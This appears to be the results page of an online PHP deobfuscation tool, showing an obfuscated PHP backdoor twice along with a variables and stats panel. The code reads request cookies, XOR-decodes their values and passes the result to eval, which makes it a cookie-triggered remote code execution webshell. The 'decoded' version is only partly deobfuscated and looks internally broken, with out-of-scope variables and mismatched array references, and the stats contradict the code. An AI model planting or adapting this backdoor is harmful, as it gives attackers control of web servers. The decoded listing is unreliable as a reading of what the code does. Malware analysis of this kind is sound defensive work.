Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $function = 'eval'; // Function used to execute code $characters = '-dycnfv49u*..

Decoded Output download

<?php 
$function = 'eval';  // Function used to execute code 
 
$characters = '-dycnfv49u*kt8_pa0im5\'r#xe31s6o2Hbgl';  // A set of characters 
$decoded = array(); 
 
// Decoding and building an array 
$decoded[] = $characters[3] . $characters[17] . $characters[16] . $characters[29] . $characters[5] . $characters[33] . $characters[7] . $characters[33] . $characters[0] . $characters[16] . $characters[8] . $characters[1] . $characters[31] . $characters[0] . $characters[7] . $characters[1] . $characters[3] . $characters[27] . $characters[0] . $characters[13] . $characters[25] . $characters[26] . $characters[7] . $characters[0] . $characters[16] . $characters[3] . $characters[16] . $characters[25] . $characters[17] . $characters[7] . $characters[20] . $characters[20] . $characters[25] . $characters[26] . $characters[25] . $characters[27]; 
$decoded[] = $characters[32] . $characters[10]; 
$decoded[] = $characters[23]; 
$decoded[] = $characters[3] . $characters[30] . $characters[9] . $characters[4] . $characters[12]; 
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[14] . $characters[22] . $characters[25] . $characters[15] . $characters[25] . $characters[16] . $characters[12]; 
$decoded[] = $characters[25] . $characters[24] . $characters[15] . $characters[35] . $characters[30] . $characters[1] . $characters[25]; 
$decoded[] = $characters[28] . $characters[9] . $characters[33] . $characters[28] . $characters[12] . $characters[22]; 
$decoded[] = $characters[16] . $characters[22] . $characters[22] . $characters[16] . $characters[2] . $characters[14] . $characters[19] . $characters[25] . $characters[22] . $characters[34] . $characters[25]; 
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[35] . $characters[25] . $characters[4]; 
$decoded[] = $characters[15] . $characters[16] . $characters[3] . $characters[11]; 
 
// Function for decoding 
foreach ($_COOKIE as $sbfsxu => $izshp) { 
    function jvmudcn($characters, $sbfsxu, $shdbj) { 
        return substr($characters, strpos($sbfsxu . $characters[0], ($shdbj / strlen($sbfsxu)) + 1), $shdbj); 
    } 
 
    function tuikaqv($characters, $yoyglsn) { 
        return @$characters[9]($characters[1], $yoyglsn); 
    } 
 
    function dnmadn($characters, $yoyglsn) { 
        $uqyjvqb = $characters[3]($yoyglsn) % 3; 
        if (!$uqyjvqb) { 
            $function($yoyglsn[1]($yoyglsn[2])); 
            exit(); 
        } 
    } 
 
    $izshp = tuikaqv($characters, $izshp); 
    dnmadn($characters, $characters[5]($characters[2], $izshp ^ jvmudcn($characters, $sbfsxu, strlen($izshp)))); 
} ?>

Did this file decode correctly?

Original Code

<?php
$function = 'eval';  // Function used to execute code

$characters = '-dycnfv49u*kt8_pa0im5\'r#xe31s6o2Hbgl';  // A set of characters
$decoded = array();

// Decoding and building an array
$decoded[] = $characters[3] . $characters[17] . $characters[16] . $characters[29] . $characters[5] . $characters[33] . $characters[7] . $characters[33] . $characters[0] . $characters[16] . $characters[8] . $characters[1] . $characters[31] . $characters[0] . $characters[7] . $characters[1] . $characters[3] . $characters[27] . $characters[0] . $characters[13] . $characters[25] . $characters[26] . $characters[7] . $characters[0] . $characters[16] . $characters[3] . $characters[16] . $characters[25] . $characters[17] . $characters[7] . $characters[20] . $characters[20] . $characters[25] . $characters[26] . $characters[25] . $characters[27];
$decoded[] = $characters[32] . $characters[10];
$decoded[] = $characters[23];
$decoded[] = $characters[3] . $characters[30] . $characters[9] . $characters[4] . $characters[12];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[14] . $characters[22] . $characters[25] . $characters[15] . $characters[25] . $characters[16] . $characters[12];
$decoded[] = $characters[25] . $characters[24] . $characters[15] . $characters[35] . $characters[30] . $characters[1] . $characters[25];
$decoded[] = $characters[28] . $characters[9] . $characters[33] . $characters[28] . $characters[12] . $characters[22];
$decoded[] = $characters[16] . $characters[22] . $characters[22] . $characters[16] . $characters[2] . $characters[14] . $characters[19] . $characters[25] . $characters[22] . $characters[34] . $characters[25];
$decoded[] = $characters[28] . $characters[12] . $characters[22] . $characters[35] . $characters[25] . $characters[4];
$decoded[] = $characters[15] . $characters[16] . $characters[3] . $characters[11];

// Function for decoding
foreach ($_COOKIE as $sbfsxu => $izshp) {
    function jvmudcn($characters, $sbfsxu, $shdbj) {
        return substr($characters, strpos($sbfsxu . $characters[0], ($shdbj / strlen($sbfsxu)) + 1), $shdbj);
    }

    function tuikaqv($characters, $yoyglsn) {
        return @$characters[9]($characters[1], $yoyglsn);
    }

    function dnmadn($characters, $yoyglsn) {
        $uqyjvqb = $characters[3]($yoyglsn) % 3;
        if (!$uqyjvqb) {
            $function($yoyglsn[1]($yoyglsn[2]));
            exit();
        }
    }

    $izshp = tuikaqv($characters, $izshp);
    dnmadn($characters, $characters[5]($characters[2], $izshp ^ jvmudcn($characters, $sbfsxu, strlen($izshp))));
}

Function Calls

None

Variables

$decoded [{'key': None, 'value': 'pack'}]
$function eval
$characters -dycnfv49u*kt8_pa0im5'r#xe31s6o2Hbgl

Stats

MD5 ca5b4ffdb9b10fd9262ee77ca76d2115
Eval Count 0
Decode Time 101 ms